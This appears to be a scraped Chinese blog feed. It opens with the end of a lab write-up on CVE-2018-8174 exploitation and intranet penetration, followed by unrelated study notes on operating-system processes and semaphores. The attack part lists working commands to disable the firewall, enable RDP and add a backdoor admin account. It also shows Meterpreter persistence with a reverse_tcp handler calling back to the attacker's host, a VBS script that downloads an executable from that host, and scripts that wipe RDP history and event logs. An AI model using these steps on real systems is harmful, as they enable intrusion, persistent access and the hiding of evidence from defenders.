</li> </ol> <p><code class="highlighter-rouge">netsh firewall set opmode mode=disable</code></p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-c8f05deaa0cf63d8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <ol> <li>添加3389入站规则 <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow </code></pre></div> </div> </li> </ol> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-7fa509b4aa442d3d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>4.开启3389端口</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-7df8730b339086ed.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="开启3389端口" /></p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-17e8924991433b5f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <ol> <li>创建管理员用户Waldo6TEST</li> </ol> <p><code class="highlighter-rouge">net user Waldo2008 1234567hhhh. /add</code></p> <p><code class="highlighter-rouge">net localgroup administrators Waldo2008 /add</code></p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-19585f7491aa71cf.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="添加用户Waldo2008" /></p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-ad18201950d51119.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=" Waldo2008拥有管理员权限" /></p> <h3 id="windows-7中远程登录win-server-2008">Windows 7中远程登录Win server 2008</h3> <ol> <li>在Windows 7 使用用户名Wado2008T 密码1234567hhhh.成功登陆Win server 2008</li> </ol> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-ebddf88b162eb18b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <h1 id="权限维持kali到windows7">权限维持(Kali到Windows7)</h1> <p><code class="highlighter-rouge">run persistence -X -i 5 -p 1121 -r 192.168.114.130</code>，这里在Meterpreter会话中运行persistence后渗透攻击模块，在目标主机的注册表<code class="highlighter-rouge">HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run</code>添加下图中倒数第一个[*]，达到自启动的目的，-X参数指定启动的方式为开机自启动，-i参数指定反向连接的时间间隔 <img src="https://upload-images.jianshu.io/upload_images/7216746-40604e1f22a600da.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>然后建立Meterpreter的客户端，在指定回来的1121端口进行监听，待Windows 7(192.168.114.138)，等待后门重新连接，具体操作命令如下:</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msfconsole use exploit/multi/handler set PAYLOAD Windows/meterpreter/reverse_tcp set LHOST 192.168.114.130 set lport 1121 run </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-c416a86b4fd92520.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <h1 id="痕迹清除">痕迹清除</h1> <h2 id="使用清除远程连接历史记录的bat脚本">使用清除远程连接历史记录的BAT脚本</h2> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-e9fd82cc946bf77a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-29fec4dae0e72b64.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-942e70f35de41fac.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <h2 id="clearev命令">clearev命令</h2> <p>未清除时Windows 7(192.168.114.138)中的日志</p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-7dbbc8e48c1b0fda.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-6e5c79b1f2457ee9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-0196e1b5cb721c92.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <h1 id="脚本分析">脚本分析</h1> <h2 id="目标机器下载程序的vbs脚本">目标机器下载程序的vbs脚本</h2> <p>注: 使用<code class="highlighter-rouge">service apache2 start</code>将kali linux apache2服务打开，可以使之充当服务器，将需要上传的文件放在<code class="highlighter-rouge">/var/www/html</code>目录下</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>url = "http://192.168.114.130/SQL.exe" '网络上的文件地址 saveas = "C:\hack\SQL.exe" '保存成的本地文件 Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象 Set stream = CreateObject("ADODB.Stream") '创建ADO数据流对象 Call xmlhttp.open("GET",url,False)'打开连接 Call xmlhttp.send()'发送请求 stream.mode = 3 '设置数据流为读写模式 stream.type = 1 '设置数据流为二进制模式 Call stream.open()'打开数据流 Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流 Call stream.savetofile(saveas,2)'将数据流保存为文件 '释放对象 Set xmlhttp = Nothing Set stream = Nothing </code></pre></div></div> <h2 id="清除3389远程桌面连接记录的批处理脚本">清除3389远程桌面连接记录的批处理脚本</h2> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>@cls ::清屏 @color 0b ::设置默认的控制台前景和背景颜色 ::REM清除mstsc历史记录 echo off ::echo off执行以后，后面所有的命令均不显示，但本条命令是显示的 mstsc reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /f reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f cd /d %USERPROFILE% del *.rdp /a/s </code></pre></div></div> <p>解释: /f: 不提示 /a: 删除隐藏文件</p> <h1 id="如何防御">如何防御</h1> <p>1.不要打开任何来源不明的链接或Office文档</p> <p>2.及时更新并安装微软发布的最新补丁</p> <p>3.定期查看日志和管理用户界面</p> <p>4.及时更新杀毒软件，并对计算机进行杀毒</p> Tue, 01 Jan 2019 00:00:00 +0000 http://WaIdo.github.io/2019/01/01/CVE-2018-8174%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%8F%8A%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E6%94%BB%E5%87%BB/ http://WaIdo.github.io/2019/01/01/CVE-2018-8174%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%8F%8A%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E6%94%BB%E5%87%BB/ web安全 <h1 id="第一章-操作系统引论">第一章 操作系统引论</h1> <h2 id="操作系统的定义">操作系统的定义</h2> <p>操作系统是一组能有效地组织和管理计算机硬件和软件资源，\ 合理地对各类作业进行调度，以及方便用户使用的程序的集合</p> <h2 id="操作系统的目标">操作系统的目标</h2> <p>==<strong>方便性</strong>==、==<strong>有效性</strong>==、可扩充性、开放性</p> <p>有效性: 提高系统资源的利用率、提高系统的吞吐量</p> <h2 id="引入os的目的">引入OS的目的</h2> <p>为多道程序的运行提供良好的运行环境，以保证多道程序能有条不紊地、高效地运行，\ 并能最大程度地提高系统中各种资源的利用率。方便用户的使用</p> <h2 id="操作系统的作用">操作系统的作用</h2> <ol> <li>OS作为用户和计算机硬件系统之间的接口</li> </ol> <ul> <li>用户有三种方式使用计算机: 命令方式、系统调用方式、图标-窗口方式</li> </ul> <ol> <li>OS作为计算机系统资源的管理者</li> </ol> <ul> <li>处理机管理: 用于分配和控制处理机</li> <li>存储器管理: 负责内存的分配与回收</li> <li>I/O设备管理: 负责I/O设备的分配(回收)与操纵</li> <li>文件管理: 用于实现对文件的存取、共享和保护</li> </ul> <ol> <li>OS实现了对计算机资源的抽象</li> </ol> <h2 id="推动操作系统发展的主要动力">推动操作系统发展的主要动力</h2> <ul> <li>不断提高计算机资源利用率</li> <li>方便用户</li> <li>器件的不断更新换代</li> <li>计算机体系结构的不断发展</li> <li>不断提出新的应用需求</li> </ul> <h2 id="操作系统的发展过程">操作系统的发展过程</h2> <h3 id="人工方式">人工方式</h3> <p>缺点: 用户独占全机、CPU等待人工操作</p> <h3 id="脱机输入输出方式">脱机输入/输出方式</h3> <blockquote> <p>事先将装有用户程序和数据的纸带装入纸带输入机，在一台外围机的控制下，把纸带上的数据输入到磁带上。\ CPU在需要时，从磁带上高速地调入内存。</p> </blockquote> <p>优点: 减少了CPU的空闲时间、提高了I/O速度</p> <h3 id="单道批处理系统">单道批处理系统</h3> <ul> <li>在系统运行过程中，内存中只有一个用户作业存在；</li> <li>把一批作业脱机输入到磁带上；</li> <li>系统配上监督程序；</li> <li>在监督程序的控制下使这批作业能一个接一个的连续得到处理；</li> <li>处理机使用权在监督程序和用户程序间转换。</li> </ul> <p>特征: 自动性、顺序性、单道性</p> <p>缺点: 系统中的资源得不到充分的利用。因为在内存中仅有一道程序，每逢该程序在运行中发出I/O请求后，\ CPU便处于等待状态，必须在其I/O完成后才继续运行</p> <h3 id="多道批处理系统">多道批处理系统</h3> <p>过程: 作业先存放在外存上并排成一个队列，称为“后备队列”；然后，由作业调度程序按一定的算法\ 从后备队列中选择若干个作业调入内存，使它们共享CPU和系统中的各种资源。</p> <p>优缺点:</p> <ul> <li>资源利用率高</li> <li>系统吞吐量大</li> <li>可提高内存和I/O设备利用率</li> <li>平均周转时间长</li> <li>无交互能力</li> </ul> <p>多道批处理系统需要解决的问题:</p> <ul> <li>处理机争用问题</li> <li>内存分配和保护问题</li> <li>I/O设备分配问题</li> <li>文件的组织和管理问题</li> <li>作业管理问题</li> <li>用户与系统的接口问题</li> </ul> <p><img src="https://ws4.sinaimg.cn/large/006tNbRwgy1fxze6tbtw6j31fr0u0kez.jpg" alt="" /></p> <h3 id="分时系统">分时系统</h3> <blockquote> <p>分时系统是指，在一台主机上连接了多个配有显示器和键盘的终端并由此所组成的系统，\ 该系统允许多个用户同时通过自己的终端，以交互方式使用计算机，共享主机中的资源</p> </blockquote> <p>分时系统实现中的关键问题:</p> <ol> <li>及时接收</li> <li>及时处理</li> </ol> <p>为实现人——机交互，采用下面的运行方式:</p> <ul> <li>作业直接进入内存</li> <li>采用==时间片==轮转的运行方式。</li> </ul> <p><img src="https://ws4.sinaimg.cn/large/006tNbRwgy1fxzfclqsw9j31700jkh0x.jpg" alt="" /></p> <p>影响响应时间的因素:</p> <ul> <li>终端数目多少</li> <li>调度算法（时间片的选取）</li> <li>信息交换量和信息交换速度</li> <li>机器处理能力</li> <li>请求服务的时间长短及服务请求的分布</li> </ul> <h3 id="实时系统">实时系统</h3> <blockquote> <p>实时系统是指系统能及时响应外部事件的请求，在规定的时间内完成对该事件的处理，并控制所有实时任务协调一致地运行</p> </blockquote> <p>实时系统的类型:</p> <ul> <li>工业(武器)控制系统</li> <li>信息查询系统</li> <li>多媒体系统</li> <li>嵌入式系统</li> </ul> <p>实时任务的类型:</p> <ul> <li>周期性实时任务和非周期性实时任务</li> <li>硬实时任务和软实时任务</li> </ul> <h3 id="实时系统与分时系统特征的比较">实时系统与分时系统特征的比较</h3> <p><img src="https://ws1.sinaimg.cn/large/006tNbRwgy1fxzg9dyy7oj31go0u0gti.jpg" alt="" /></p> <h2 id="微机操作系统">微机操作系统</h2> <h3 id="单用户单任务操作系统">单用户单任务操作系统</h3> <p>只允许一个用户上机，且只允许用户程序作为一个任务运行</p> <h3 id="单用户多任务操作系统">单用户多任务操作系统</h3> <p>只允许一个用户上机，但允许用户把程序分为若干个任务，使它们并发执行</p> <h3 id="多用户多任务操作系统">多用户多任务操作系统</h3> <p>允许多个用户通过各自的终端，使用同一台机器共享主机系统中的各种资源，\ 而每个用户程序又可进一步分为几个任务，使它们能并发执行，\ 从而可进一步提高资源利用率和系统吞吐量</p> <h2 id="操作系统的基本特性">操作系统的基本特性</h2> <h3 id="并发">并发</h3> <p>==并行性==: 两个或多个事件在同一时刻发生</p> <p>==并发性==: 两个或多个事件在同一时间间隔内发生</p> <p>程序的并发执行，有效地改善了系统资源的利用率和提高了系统的吞吐量，\ 但它使系统复杂化，操作系统必须具有控制和管理各种并发活动的能力。</p> <p>==进程==: 在系统中能独立运行并作为资源分配的基本单位，它是由一组机器指令、数据和堆栈等组成的，是一个能独立运行的活动实体。多个进程之间可以并发执行和交换信息。</p> <h3 id="共享">共享</h3> <p>资源共享指系统中的资源可供内存中多个并发执行的进程共同使用</p> <p>==互斥共享方式==</p> <p>临界资源: 在一段时间内只允许一个进程访问的资源</p> <p>==同时访问方式==</p> <p><strong>==并发==和==共享==是多用户(多任务)OS的两个最基本的特征</strong></p> <h3 id="虚拟">虚拟</h3> <p>通过某种技术将一个物理实体变为若干个逻辑上的对应物</p> <p>==时分复用技术==: 利用某设备为一用户服务的==空闲时间==，又转去为其他用户服务</p> <p>虚拟处理机技术、虚拟设备技术</p> <p>==空分复用技术==: 利用存储器的==空闲空间==分区域存放和运行其它的多道程序</p> <p>虚拟存储技术</p> <h3 id="异步">异步</h3> <p>进程以不可预知的速度向前推进</p> <h2 id="操作系统的主要功能">操作系统的主要功能</h2> <h3 id="处理机管理功能">处理机管理功能</h3> <p>处理机的分配和运行都是以==进程==为基本单位的</p> <p>处理机管理的主要功能有: 创建和撤销进程，对诸进程的运行进行协调，\ 实现进程之间的信息交换，以及按照一定算法把处理机分配给进程</p> <p>==进程控制==: 为作业创建进程、撤销(终止)已结束的进程，\ 以及控制进程在运行过程中的状态转换</p> <p>==进程同步(信号量机制)==: 为多个进程(含线程)的运行进行协调</p> <p>协调方式: 进程互斥方式、进程同步方式</p> <p>进程同步方式: 在相互合作去完成共同任务的诸进程间，由同步机构对它们的执行次序加以协调</p> <p>==进程通信==: 实现相互合作进程之间的信息交换</p> <p>==调度==: 作业调度、进程调度</p> <h3 id="存储器管理功能">存储器管理功能</h3> <p>主要任务: 为多道程序的运行提供良好的环境，提高存储器的利用率，\ 方便用户使用，并能从逻辑上扩充内存</p> <p>主要功能: 内存分配和回收、内存保护、地址映射和内存扩充</p> <ol> <li>==内存分配==:</li> </ol> <p>主要任务:</p> <ul> <li>为每道程序分配内存空间</li> <li>提高存储器的利用率</li> <li>允许正在运行的程序申请附加的内存空间</li> </ul> <p>==静态分配方式==: 运行期间不允许该作业再申请新的内存空间</p> <p>==动态分配方式==: 可以在运行过程中申请新的附加内存空间</p> <ol> <li>==内存保护==</li> </ol> <p>内存保护机制: 设置两个界限寄存器，分别用于存放正在执行程序的上界和下界</p> <p>主要任务:</p> <ul> <li>确保每道用户程序都仅在自己的内存空间内运行，彼此互不干扰</li> <li>绝不允许用户程序访问操作系统的程序和数据，也不允许用户程序转移到非共享的其它用户程序中执行</li> </ul> <ol> <li>==地址映射==</li> </ol> <p>能够将地址空间中的逻辑地址转换=为内存空间中与之对应的物理地址</p> <ol> <li>==内存扩充==</li> </ol> <p>请求调入功能</p> <p>置换功能</p> <h3 id="设备管理功能">设备管理功能</h3> <p>主要任务:</p> <ul> <li>完成用户进程提出的I/O请求，为用户进程分配所需的I/O设备，并完成指定的I/O操作</li> <li>提高CPU和I/O设备的利用率，提高I/O速度，方便用户使用I/O设备</li> </ul> <h3 id="文件管理功能">文件管理功能</h3> <p>主要任务:</p> <p>对用户文件和系统文件进行管理以方便用户使用，并保证文件的安全性。</p> <p>功能:</p> <ul> <li>对文件存储空间的管理</li> <li>目录管理</li> <li>文件的读/写管理</li> <li>文件的共享与保护</li> </ul> <h3 id="操作系统与用户之间的接口">操作系统与用户之间的接口</h3> <p>用户接口: 用户通过该接口向作业发出命令以控制作业的运行</p> <p>程序接口: 为用户程序在执行中访问系统资源而设置的</p> <h1 id="第二章-进程的描述与控制">第二章 进程的描述与控制</h1> <h2 id="程序顺序执行时的特征">程序顺序执行时的特征</h2> <p>顺序性、封闭性、可再现性</p> <h2 id="程序并发执行">程序并发执行</h2> <p>只有不存在前趋关系的程序之间才有可能并发执行，否则无法并发执行</p> <p>程序并发执行时的特征: ==间断性、失去封闭性、不可再现性==</p> <p><img src="https://ws3.sinaimg.cn/large/006tNbRwly1fy1evldjfnj30x60kdn1f.jpg" alt="" /></p> <h2 id="进程的定义">进程的定义</h2> <p>==进程是程序在一个数据集合上的运行过程，是系统进行资源分配和调度的一个独立的基本单位==</p> <p>==进程控制块==(PCB): 描述进程的基本情况和活动过程，进而控制和管理进程</p> <p>==进程实体==: 程序段、相关的数据段、PCB</p> <p>==创建进程==: 创建进程实体中的PCB；==撤销进程==: 撤销进程的PCB</p> <h2 id="进程的特征">进程的特征</h2> <ul> <li>==结构特征==: 程序段、数据段、PCB</li> <li>==动态性==: 进程的实质是进程实体的执行过程。进程实体有一定的生命期</li> <li>==并发性==: 多个进程实体同存于内存中，且能在一段时间内同时运行。\ ==引入进程的目的==正是为了使其进程实体能和其它进程实体并发执行</li> <li>==独立性==: 进程实体是一个能独立运行、独立获得资源和独立接收调度的基本单位</li> <li>==异步性==: 进程是按异步方式运行的，按各自独立的、不可预知的速度向前推进</li> </ul> <h2 id="进程的基本状态及转换">进程的基本状态及转换</h2> <ul> <li>就绪状态: 得到了除CPU以外的所有必要资源</li> <li>执行状态: 已获得处理机，程序正在被执行</li> <li>阻塞状态: 因等待某事件而暂时无法继续执行，从而放弃处理机，\ 使程序执行处于暂停状态</li> </ul> <h2 id="进程和程序的关系">进程和程序的关系</h2> <p><img src="https://ws4.sinaimg.cn/large/006tNbRwgy1fy1fgdaqf8j30db088jro.jpg" alt="" /></p> <h2 id="基本状态的转换">基本状态的转换</h2> <p><img src="https://ws2.sinaimg.cn/large/006tNbRwly1fy1gs2jvtwj30ks0d53yx.jpg" alt="" /></p> <p>==创建状态==: 进程已拥有了自己的PCB，但进程自身还未进入主存，\ 即创建工作尚未完成，进程还不能被调度运行，其所处的状态。</p> <p>==终止状态==：当一个进程到达了自然结束点，或是出现了无法克服的错误，\ 或是被操作系统所终结，或是被其他有终止权的进程所终结，它将进入终止状态。</p> <p>==挂起操作==</p> <p>把一个进程挂起使之处于静止状态，以便研究它的执行情况或对它进行修改</p> <p>原因：</p> <ul> <li>终端用户请求</li> <li>父进程请求</li> <li>负荷调节的需要</li> <li>操作系统的需要</li> </ul> <p>状态转换：</p> <ul> <li>活动就绪→静止就绪</li> <li>静止就绪→活动就绪</li> <li>活动阻塞→静止阻塞</li> <li>静止阻塞→活动阻塞</li> <li>静止阻塞→静止就绪</li> </ul> <h2 id="进程控制块">进程控制块</h2> <p>==概念==: 进程控制块是进程实体的重要组成部分，是操作系统中最重要的记录型数据，在进程控制块PCB（Program Contral Block）中记录了操作系统所需要的、用于描述进程情况及控制进程运行所需要的全部信息</p> <p>==作用==:</p> <p>通过PCB，使得原来不能独立运行的程序（数据），成为一个可以独立运行的基本单位，一个能够并发执行的进程。进程控制块是进程存在的唯一标志。</p> <p>==PCB中的信息==:</p> <p>进程标识符: 用于唯一地标识一个进程</p> <p>处理机状态: 保留进程存放在处理器中的各种信息，主要由处理器内的各个寄存器的内容组成。</p> <p>进程调度信息:进程状态、进程优秀级、阻塞原因等等。</p> <p>进程控制信息:程序和数据的地址、进程同步和通信机制、资源清单、链接指针</p> <p>==PCB的组织方式==</p> <p>线性方式</p> <p>链接方式: 将具有相同状态的PCB，用其中的链接字，链接成一个队列</p> <p>索引方式: 根据进程的状态，建立索引表</p> <h2 id="进程控制">进程控制</h2> <p>进程控制是对系统中所有进程从产生、存在到消亡的全过程实行有效的管理和控制。\ 进程控制一般是由操作系统的内核来实现，内核在执行操作时，\ 往往是通过执行各种原语操作来实现的</p> <h3 id="操作系统内核">操作系统内核</h3> <p>==内核==: 加在硬件上的第一层软件，通过执行各种原语操作来实现各种控制和管理功能，具有创建、撤消、进程通信、资源管理的功能</p> <p>==内核的基本功能==</p> <p>支撑功能：中断处理、时钟管理、原语操作</p> <p>资源管理功能：进程管理、存贮管理、设备管理</p> <p><strong>==原语==</strong>：是由若干条机器指令所构成，用以完成特定功能的一段程序 。原语在执行期间是不可分割的或不可中断的。</p> <p>创建原语、撤消原语、阻塞原语、唤醒原语</p> <h3 id="进程的创建">进程的创建</h3> <p>==进程之间的关系==</p> <ul> <li>父、子进程与祖先进程: PCB中标识</li> <li>继承/归还资源: “父”创建“子”、父撤子消</li> </ul> <p>==引起创建进程的事件==</p> <ul> <li>用户登录 :在分时系统中，用户在终端键入登录命令</li> <li>作业调度:在批处理系统中，当作业调度程序按一定的算法调度到某作业</li> <li>提供服务:用户程序提出某种请求后，系统将专门创建一个进程来提供用户所需要的服务</li> <li>应用请求:它自己创建一个新进程，以便使新进程以并发运行方式完成特定任务</li> </ul> <p>==进程创建的过程== （进程创建原语Create()）</p> <ul> <li>申请一个空白PCB,为新进程申请获得唯一的数字标识符(PID)</li> <li>为新进程分配资源</li> <li>初始化PCB</li> <li>新进程加入到就绪队列</li> </ul> <h3 id="进程的终止">进程的终止</h3> <p>==引起进程终止的事件==</p> <ul> <li>进程正常结束</li> <li>在进程运行期间，由于出现某些错误和故障而使得进程被迫中止</li> <li>进程应外界的请求而中止运行</li> </ul> <p>==进程终止的过程== （进程终止原语Destroy()）</p> <ul> <li>根据被终止进程的标识符，从PCB集合中检索该进程的PCB，读出进程状态。</li> <li>若该进程处于执行状态，则立即终止该进程的执行。</li> <li>若该进程有子孙进程，还要将其子孙进程终止。</li> <li>将该进程所占用的资源回收，归还给其父进程或操作系统。</li> <li>将被终止进程的PCB从所在队列中移出，并撤消该进程的PCB。</li> </ul> <h3 id="进程的阻塞与唤醒">进程的阻塞与唤醒</h3> <p>==引起进程阻塞的事件==</p> <ul> <li>请求系统服务，要求不能立即满足</li> <li>启动某种操作，必须在操作完成后才能继续</li> <li>合作进程提供的新数据尚未到达</li> <li>无新工作可做</li> </ul> <p>==进程阻塞的过程== （进程阻塞原语Block()）</p> <ul> <li>立即停止执行</li> <li>修改进程控制块中的相关信息</li> <li>把进程控制块插入到阻塞队列</li> <li>转调度程序重新调度</li> </ul> <p>==引起进程唤醒的事件==</p> <ul> <li>请求系统服务得到满足</li> <li>启动某种操作完成</li> <li>新数据已经到达</li> <li>有新工作可做</li> </ul> <p>==进程唤醒的过程== （进程唤醒原语Wakeup()）</p> <ul> <li>从阻塞队列中找到该进程</li> <li>修改该进程控制块的相关内容</li> <li>把进程控制块插入到就绪队列</li> </ul> <h3 id="进程的挂起与激活">进程的挂起与激活</h3> <p>==进程挂起的方式==</p> <ul> <li>把发出本原语的进程自身挂起</li> <li>挂起指定进程名的进程</li> <li>把某进程及其全部或部分子孙一起挂起</li> </ul> <p>==进程挂起的过程== （进程挂起原语Suspend()）</p> <ul> <li>检查被挂进程的状态，改为相应的挂起状态</li> <li>把进程的PCB复制到指定的区域</li> <li>转向调度程序重新调度</li> </ul> <p>==进程激活的过程== （进程激活原语Active()）</p> <p>先将进程从外存调入内存，检查该进程的现行状态，\ 改为相应的活动状态。根据优先级可能引起调度。</p> <h2 id="进程同步">进程同步</h2> <h3 id="主要任务">主要任务</h3> <p>对多个相关进程在执行次序上进行协调，使并发执行的诸进程之间能按照一定的规则(或时序)共享系统资源，并能很好地相互合作，从而使程序的执行具有可再现性</p> <h3 id="两种形式的制约关系">两种形式的制约关系</h3> <p>间接相互制约关系——共享某种系统资源</p> <p>直接相互制约关系——相互合作</p> <h3 id="临界资源">临界资源</h3> <p>一次仅允许一个进程使用的资源，如打印机、变量</p> <h3 id="临界区">临界区</h3> <p>临界区是每个进程中访问临界资源的那段代码</p> <p>若能保证诸进程互斥地进入自己的临界区，\ 便可实现诸进程对临界资源的互斥访问</p> <h3 id="同步机制应遵循的规则">同步机制应遵循的规则</h3> <p><img src="https://ws1.sinaimg.cn/large/006tNbRwgy1fy1ty6blwwj30va09kwg2.jpg" alt="" /></p> <h3 id="信号量机制">信号量机制</h3> <h4 id="信号量">==信号量==</h4> <p>用于表示==资源数目==或请求使用某一资源的==进程个数==的整型量</p> <p>S是与临界区内所使用的公用资源有关的信号量</p> <p>S ≥0 可供并发进程使用的资源数</p> <p>S &lt; 0 正在等待使用临界区的进程数</p> <h5 id="整型信号量">整型信号量</h5> <p>Wait和Signal是两个原子操作，在执行时是不可中断的。</p> <p>整型信号量解决临界区调度的==缺点==: 对不能进入临界区的进程，采用忙式等待测试法，浪费CPU时间。因此未遵循“让权等待”的准则，使进程处于“忙等”状态。 在采取了“让权等待”的策略后，又会出现多个进程等待访问同一临界资源的情况。</p> <h5 id="记录型信号量">记录型信号量</h5> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>struct semaphore{ int value; struct process_control_block *L; } wait(semaphore S) { S.value--; if(S.value＜0) block(S.L) } signal(semaphore S) { S.value++; if(S.value≤0) wakeup(S.L); } </code></pre></div></div> <p><img src="https://ws1.sinaimg.cn/large/006tNbRwgy1fy1ype2uslj30gw0ayta4.jpg" alt="" /></p> <h5 id="and型信号量">AND型信号量</h5> <p>AND同步机制的基本思想是：将进程在整个运行过程中需要的所有资源，一次性全部地分配给进程，待进程使用完后再一起释放。只要尚有一个资源未能分配给进程，其它所有可能为之分配的资源，也不分配给他。亦即，对若干个临界资源的分配，采取原子操作方式：要么全部分配到进程，要么一个也不分配。</p> <h5 id="信号量集">信号量集</h5> <p>在有些情况下，当资源数量低于某一下限值，不予以分配</p> <p>Swait(S, t, d), S为信号量，t为下限值，d为需求值</p> <p><img src="https://ws3.sinaimg.cn/large/006tNbRwgy1fy1yxcd0g1j30hi09hwfa.jpg" alt="" /></p> <h4 id="利用信号量实现前趋关系">利用信号量实现前趋关系</h4> <p><img src="https://ws4.sinaimg.cn/large/006tNbRwgy1fy1yzu3oqkj30jy0e1gsf.jpg" alt="" /></p> <h3 id="管程机制">管程机制</h3> <p>管程: 代表共享资源的数据结构以及由对该共享数据结构实施操作的\ 一组过程所组成的资源管理程序共同构成了一个操作系统的资源管理模块</p> <p>由四部分组成</p> <ul> <li>管程的名称</li> <li>局部于管程的共享数据结构说明</li> <li>对该数据结构进行操作的一组过程</li> <li>对内部的共享数据初始化语句</li> </ul> <p><img src="https://ws2.sinaimg.cn/large/006tNbRwgy1fy23179qc3j30v409h0ut.jpg" alt="" /></p> <p>注意:</p> <p>局部变量只能被管程的过程访问；</p> <p>进程通过调用管程的过程进入管程；</p> <p>只能有一个进程在管程中执行</p> <h3 id="利用记录型信号量解决生-消问题">利用记录型信号量解决生-消问题</h3> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int in = 0, out = 0; item buffer[n]; semaphore mutex = 1, empty = n, full = 0; void procuder() { do { procuder an item nextp; ... wait(empty);//判断是否有空缓冲区，表示空缓冲区-１； wait(mutex);//数据缓冲区互斥访问，关闭访问； buffer[in] = nextp; in = (in+1) % n; signal(mutex);//打开访问 signal(full);//满缓冲区加+1 } while (true); } void consumer() { do { wait(full);//判断是否有满缓冲区，满缓冲区-1 wait(mutex);//数据缓冲区互斥访问，关闭访问； nextc = buffer[out]; out = (out+1) % n; signal(mutex);//打开访问 siganl(empty);//空缓冲区+1 consumer the item in nextc; .... } while (true); } void main() { cobegin producer(); consumer(); coend } </code></pre></div></div> <p>每次只允许一个进程进入缓冲池进行操作</p> <p>mutex为互斥信号量，实现诸进程对缓冲池的互斥访问，初值为1，取值为0、1</p> <p>empty,full为资源信号量，为正时分别表示==空缓冲区==和==满缓冲区==的数量；\ 为负时，其绝对值为相应阻塞进程的数目。\ 初值为n，0。可为负</p> <p>应先执行对资源信号量的wait操作，然后再执行对互斥信号量的wait操作，否则会造成死锁</p> <p>由buffer组成的缓冲池是被组织成循环缓冲的</p> <p>wait两个操作不能互换。例如：当 mutex=1, E=0, F=n时，则对生产者进程：wait(mutex)成功，wait(E)失败；对消费者进程：wait(F)成功，wait(mutex)失败，形成死锁</p> <p>signal操作的次序无关紧要</p> <p>互斥和资源信号量的原语必须成对出现</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wait(empty) empty &gt;= 0 则数据送入缓冲区 empty &lt; 0 被阻塞 （满） signal(empty) empty &gt; 0 empty &lt;= 0 释放一个空缓冲区，唤醒一个阻塞的生产者进程 wait(full) full &gt;= 0 则从缓冲区取走数据 full &lt; 0 被阻塞 （空） signal(full) full &gt; 0 full &lt;= 0 数据装入缓冲区，唤醒一个 阻塞的消费者进程 </code></pre></div></div> <p><img src="https://ws3.sinaimg.cn/large/006tNbRwgy1fy2pzbkve6j30vu0u0dmd.jpg" alt="" /></p> <h3 id="读者-写者问题">读者-写者问题</h3> <p>算法描述：</p> <p>设置两个互斥信号量：</p> <p>（1）wmutex，实现Reader与Writer进程间在读或写时的互斥。</p> <p>（2）rmutex,用于使读者互斥地访问共享变量readcount。</p> <p>readcount表示正在读的进程数目，只要有一个Reader进程在读，便不允许Writer进程去写。因此，仅当readcount=0, 表示尚无Reader进程在读时，Reader进程才需要执行Wait(wmutex)操作。若wait(wmutex)操作成功，Reader进程便可去读，相应地，做readcount+1操作。同理，仅当Reader进程在执行了readcount减1操作后其值为0时，才须执行signal(wmutex)操作，以便让Writer进程写</p> <p>读者进来: 读者函数首先申请将rmutex，锁住读信号量，判断readcount是否为0，为0则申请wmutex，不让写者进来，再释放掉rmutex，到此，可以让其他读者进来，但是写者都进不来</p> <p>读者离开: 先申请rmutex，锁住，不让新的读者进来，执行readcount–，移出已进来的读者，判断readcount是否为0，为0，也就是所有读者出去了，释放wmutex，这个时候，写者和读者都可以进来了</p> <h3 id="使用信号量机制时易犯的错误">使用信号量机制时易犯的错误</h3> 